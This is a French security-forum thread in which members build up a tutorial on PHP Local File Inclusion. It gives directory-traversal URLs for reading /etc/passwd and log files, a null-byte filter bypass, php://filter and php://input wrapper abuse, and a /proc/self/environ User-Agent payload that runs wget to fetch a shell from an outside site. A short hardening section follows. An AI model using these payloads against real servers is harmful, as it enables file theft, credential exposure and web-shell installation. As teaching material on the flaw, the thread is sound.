[Faille WEB] LFI
|
10-10-2012, 22h14
(Modification du message : 25-02-2013, 21h35 par Swissky.)
Message : #1
|
|
Swissky
Bon membre Messages : 523 Sujets : 32 Points: 96 Inscription : Apr 2012 |
[Faille WEB] LFI
Local File Include
I) DéfinitionLa "Local File Include" aussi appelée LFI, consiste à inclure un fichier du serveur sur lequel est hébergé le site vulnérable grâce à un problème de sécurité dans le code PHP. II) Exploitation Théorique Avant de pratiquer la faille, on va d'abord voir comment elle fonctionne. Voici comment on va procéder: Modification d'une variable via GET ou POST -> Inclusion du fichier correspondant à la variable. On pourrait par exemple l'utiliser pour inclure un .htpasswd ou bien ajouter un shell sur le serveur III) Exploitation en local On va maintenant faire une exploitation de cette faille en local, pour cela, vous devez avoir : - WAMP - Windows - Quelques connaissances en PHP Tout d'abords créons le fichier php : index.php contenant le code : Code PHP : <?php Maintenant si on cherche à inclure la page: poc.txt on utiliseras l'URL : http://localhost/sec/index.php?page=poc.txt Et le contenu de la page s'affichera. Maintenant ajoutez un fichier : .htpasswd, dans un dossier nommé "htprotect": contenant id:pass, et incluez le avec : Code PHP : http://localhost/sec/index.php?page=htprotect/.htpasswd Dernier test, on va inclure des fichiers spécifiques au serveur : Sous Windows , on tentera d'afficher le fichier HOST Code PHP : http://localhost/sec/index.php?page=../../../windows/system32/drivers/etc/hosts Citation :# Copyright © 1993-2009 Microsoft Corp. # # This is a sample HOSTS file used by Microsoft TCP/IP for Windows. # # This file contains the mappings of IP addresses to host names. Each # entry should be kept on an individual line. The IP address should # be placed in the first column followed by the corresponding host name. Sous Linux On tentera d'afficher les mots de passe des utilisateurs du serveurs contenu dans /etc/passwd. Code PHP : http://localhost/sec/index.php?page=../../../etc/passwd username: passwd:UID:GID:full_name:directoryhell Voici un exemple réel que j'ai piqué sur challenge : Code : root:x:0:0:root:/root:/usr/local/bin/sudosh bin:x:1:1:bin:/bin:/bin/false daemon:x:2:2:daemon:/sbin:/bin/false adm:x:3:4:adm:/var/adm:/bin/false lp:x:4:7:lp:/var/spool/lpd:/bin/false Voici quelques emplacements clefs sur un serveur: ../apache/logs/error.log ../apache/logs/access.log ../../apache/logs/error.log ../../apache/logs/access.log ../../../apache/logs/error.log ../../../apache/logs/access.log ../../../../../../../etc/httpd/logs/acces_log ../../../../../../../etc/httpd/logs/acces.log ../../../../../../../etc/httpd/logs/error_log ../../../../../../../etc/httpd/logs/error.log ../../../../../../../var/www/logs/access_log ../../../../../../../var/www/logs/access.log ../../../../../../../usr/local/apache/logs/access_ log ../../../../../../../usr/local/apache/logs/access. log ../../../../../../../var/log/apache/access_log ../../../../../../../var/log/apache2/access_log ../../../../../../../var/log/apache/access.log ../../../../../../../var/log/apache2/access.log ../../../../../../../var/log/access_log ../../../../../../../var/log/access.log ../../../../../../../var/www/logs/error_log ../../../../../../../var/www/logs/error.log ../../../../../../../usr/local/apache/logs/error_l og ../../../../../../../usr/local/apache/logs/error.l og ../../../../../../../var/log/apache/error_log ../../../../../../../var/log/apache2/error_log ../../../../../../../var/log/apache/error.log ../../../../../../../var/log/apache2/error.log ../../../../../../../var/log/error_log ../../../../../../../var/log/error.log IV)Bypasser les scripts d'extension Certains Webmasters tentent de mettre en place des filtres afin de bloquer cette faille, on retrouve assez souvent le filtre d'extension ci-dessous : Code PHP : <?php include($_GET['page'].".php");?> En exemple :http://url.com/fichier_avec_autre_extension%00 Ainsi le serveur arretea la requete au %00 et la vérification d'extension ne s'appliquera donc pas. V) Technique du Proc/Self/Environ Le fichier environ sous Linux est un fichier qui contient des logs sur les utilisateurs comme leur User_Agent, leur IP etc.. Le but du jeu est d'afficher son contenu puis ensuite de modifier une des variables qu'il contient : Code : http://exemple.com/index.php?page=../../proc/self/environ Code PHP : <?php phpinfo();?> Etape 2 : On vérifie que la commande "exec" de PHP n'est pas bloquée par l'administrateur système en regardant dans la colonne disable_function du PHP Info, dans le cas où celle-ci est désactivée on trouvera un équivalent, il en existe beaucoup dans PHP. Etape 3 : On modifie une dernière fois notre User_Agent en : Code PHP : <?exec('wget http://www.sitemalveillant.org/shell.txt -O shell.php');?> VI) La technique des filtres Il existe aussi d'autre moyens pour exploiter une LFI , cette fois-ci nous ne nous concentrons plus sur l'inclusion d'une page contenant des informations particulière, on va simplement afficher l'intégralité du code source d'une page (HTML CSS et PHP). Cette technique devient redoutable lorsque le site se connecte à une base de données car les identifiants se trouvent dans le code source de la page. Prenons pour exemple le site : Code : http://sitevulnérable.com/index.php?page=lfi_exploit il a pour effet d'afficher le code source de la page en base64. L'url devient donc : Code : http://sitevulnérable.com/index.php?page=php://filter/convert.base64-encode/resource=index.php Code : QnJhdm8lMkMlMjB2b3VzJTIwYXZleiUyMGNvbXByaXMlMjBsZSUyMHByaW5jaXBlJTIwZHUlMjBkJUU5Y29kYWdlJTIwZGUlMjBsYSUyMEJhc2U2NA== VII) Sécurisation On pourrait sécuriser un site vulnérable de différentes façon, par exemple en bloquant les caractères comme "/" ou bien en listant dans un tableau toutes les pages accessibles à un utilisateurs lambda, afin de bloquer une include sur une page qui ne devrait pas être incluse. Voici un exemple de script pour la méthode avec le tableau: Code PHP : <?php Ainsi que pour la méthode consistant à bloquer des caractères : Code PHP : <?php Mis à jour le : 25/02/2013 Ajout de : - Technique des filtres - Technique du Proc/Self/Environ Source: http://hakipedia.com/index.php/Local_File_Inclusion http://www.techgaun.com/2010/10/local-fi...l-for.html Khaled, Kaizo, Luxerails , => Membre de N-PN, merci |
|
10-10-2012, 22h24
Message : #2
|
|
kallimero
Imbécile heureux Messages : 37 Sujets : 2 Points: 4 Inscription : Aug 2011 |
RE: [Faille WEB] LFI
Il y a pas mal de techniques pour exploité ce genre de vulnérabilité. En dehors du /etc/passwd (souvent sous les restrictions d'open_basedir), on peut :
- Inclure /proc/self/environ qui va renvoyer les headers de la requête. Donc en ajoutant du php, en user-agent, en cookie, ou même dans un header préalablement forgé (pour bypasser certains WAF) on pourra injecter du php. - Inclure un wrapper php avantageux. Par exemple php://input ou data:; Ou encore un truc du style php://filter/convert.base64-encode/resource=... pour lire le code php d'un fichier (donc possiblement retrouver les identifiants MySQL). - Si on peut uploader une image sur le site, on peut écrire le php directement dans l'hexa de l'image, puis l'inclure. C'est tout ce qui me revient sur l'instant. Merci du partage. |
|
10-10-2012, 22h28
Message : #3
|
|
Swissky
Bon membre Messages : 523 Sujets : 32 Points: 96 Inscription : Apr 2012 |
RE: [Faille WEB] LFI
Merci pour ton commentaire , j'ajouterai tous sa en détail dès que j'aurai testé en local
|
|
10-10-2012, 23h06
Message : #4
|
|
Luxerails
Bon membre Messages : 267 Sujets : 6 Points: 67 Inscription : Aug 2011 |
RE: [Faille WEB] LFI
(10-10-2012, 22h14)Swissky a écrit : Maintenant ajoutez un fichier : .htpasswd, dans un dossier nommé "htprotect": Heu, non. Là tu inclus le fichier /htprotect/.htpasswd, donc un dossier htprotect qui se trouve carrément à la racine du serveur. Si on veut lire un .htpasswd dans un dossier htprotect situé dans le même dossier que index.php (donc http://localhost/sec/htprotect/.htpasswd) il faut include htprotect/.htpasswd. Sinon, je trouve que le tuto est trop court, tu pourrais parler de tout ce qu'on peut faire d'autre avec cette faille, comme l'a résumé kallimero |
|
11-10-2012, 06h51
Message : #5
|
|
Swissky
Bon membre Messages : 523 Sujets : 32 Points: 96 Inscription : Apr 2012 |
RE: [Faille WEB] LFI
VOila j'ai corrigé ma coquille ^^'
Il est certes très court mais ne t'inquiète pas je compte l'etoffer, donc n'hésite pas à proposer des liens vers des articles traitant de ça |
|
11-10-2012, 11h15
Message : #6
|
|
InstinctHack
Posting Freak Messages : 1,366 Sujets : 184 Points: 299 Inscription : Dec 2011 |
RE: [Faille WEB] LFI
c'est un bon début, mais il ne faut pas seulement parler de l'exploitation, mais aussi de la correction.
genre : Code PHP : <?php mais il existe d'autre techniques comme les regex qui permettent de detecter des caractères non autorisés comme "/" ou "." Citation :un jour en cours de java j'ai attrapé les seins d'une fille mais elle m'a frappé en disant "c'est privé !!" |
|
11-10-2012, 12h32
Message : #7
|
|
kaizo
Membre Messages : 45 Sujets : 6 Points: 22 Inscription : Sep 2012 |
RE: [Faille WEB] LFI
intéressant, à noter également que cette faille est souvent "couplée" avec un petit null byte %00 lorsque la page est protégée avec un filtre d'extension
ex : Code PHP : <?php include($_GET['page'].”.php”);?>
"Qui mange une noix de coco, fait confiance à son anus!"
|
|
11-10-2012, 19h12
Message : #8
|
|
Luxerails
Bon membre Messages : 267 Sujets : 6 Points: 67 Inscription : Aug 2011 |
RE: [Faille WEB] LFI
On peut utiliser des wrappers php:// ou data:// par exemple.
php://filter/convert.base64-encode/resource=page.php va prendre le contenu de page.php, et va l'encoder en base64 avant de l'envoyer au stdout (donc ici la sortie de l'include, qui va afficher le base64). L'avantage étant que comme la source en php est base64-encodé, il n'est pas exécuté, et donc après décodage le contenu en entier du fichier (et donc le php) est affiché. Contrairement à un simple include page.php, où le php serait exécuté et donc impossible à récupérer. Il y a aussi le php://input qui est interessant. En incluant php://input, on peut envoyer du php en POST, qui sera exécuté et renvoyé dans le stdout de même. Donc avec une requête du style Citation :GET /index.php?page=php://input HTTP/1.1 La doc : http://php.net/manual/fr/wrappers.php.php (11-10-2012, 12h32)kaizo a écrit : intéressant, à noter également que cette faille est souvent "couplée" avec un petit null byte %00 lorsque la page est protégée avec un filtre d'extension » Parceque la fonction include de php est codée en C, et qu'un null byte désigne donc la fin de la chaine. Ainsi lors d'un include(".htpasswd\x00.php"); va inclure .htpasswd et ne pas prendre en compte le ".php". |
|
11-10-2012, 20h04
Message : #9
|
|
Swissky
Bon membre Messages : 523 Sujets : 32 Points: 96 Inscription : Apr 2012 |
RE: [Faille WEB] LFI
Tuto mis à jour, je continuerai plus tard, n'hésitez pas poster des trucs dessus
|
|
25-02-2013, 21h39
(Modification du message : 25-02-2013, 21h39 par Swissky.)
Message : #10
|
|
Swissky
Bon membre Messages : 523 Sujets : 32 Points: 96 Inscription : Apr 2012 |
RE: [Faille WEB] LFI
Petit up pour dire que j'ai ajouté
- Technique des filtres - Technique du Proc/Self/Environ suivant les recommandations de Luxerails et de Kallimero. |
|
25-02-2013, 22h04
Message : #11
|
|
InstinctHack
Posting Freak Messages : 1,366 Sujets : 184 Points: 299 Inscription : Dec 2011 |
RE: [Faille WEB] LFI
Super, merci à toi
Citation :un jour en cours de java j'ai attrapé les seins d'une fille mais elle m'a frappé en disant "c'est privé !!" |
|
« Sujet précédent | Sujet suivant »
|
Sujets apparemment similaires… | |||||
Sujet | Auteur | Réponses | Affichages | Dernier message | |
Comment exploiter une faille SQL Injection | CyberSee | 33 | 3,440 |
22-09-2015, 21h53 Dernier message: CyberSee |
|
Comment est exploitée une faille XSS | CyberSee | 37 | 3,359 |
01-09-2015, 16h07 Dernier message: CyberSee |
|
[Tuto]Faille CRLF | OverDreams | 15 | 1,226 |
18-06-2013, 12h33 Dernier message: Hypnoze57 |
|
[Faille Web] Full Path Disclosure | Swissky | 4 | 565 |
07-12-2012, 08h52 Dernier message: Shirobi |
Utilisateur(s) parcourant ce sujet : 3 visiteur(s)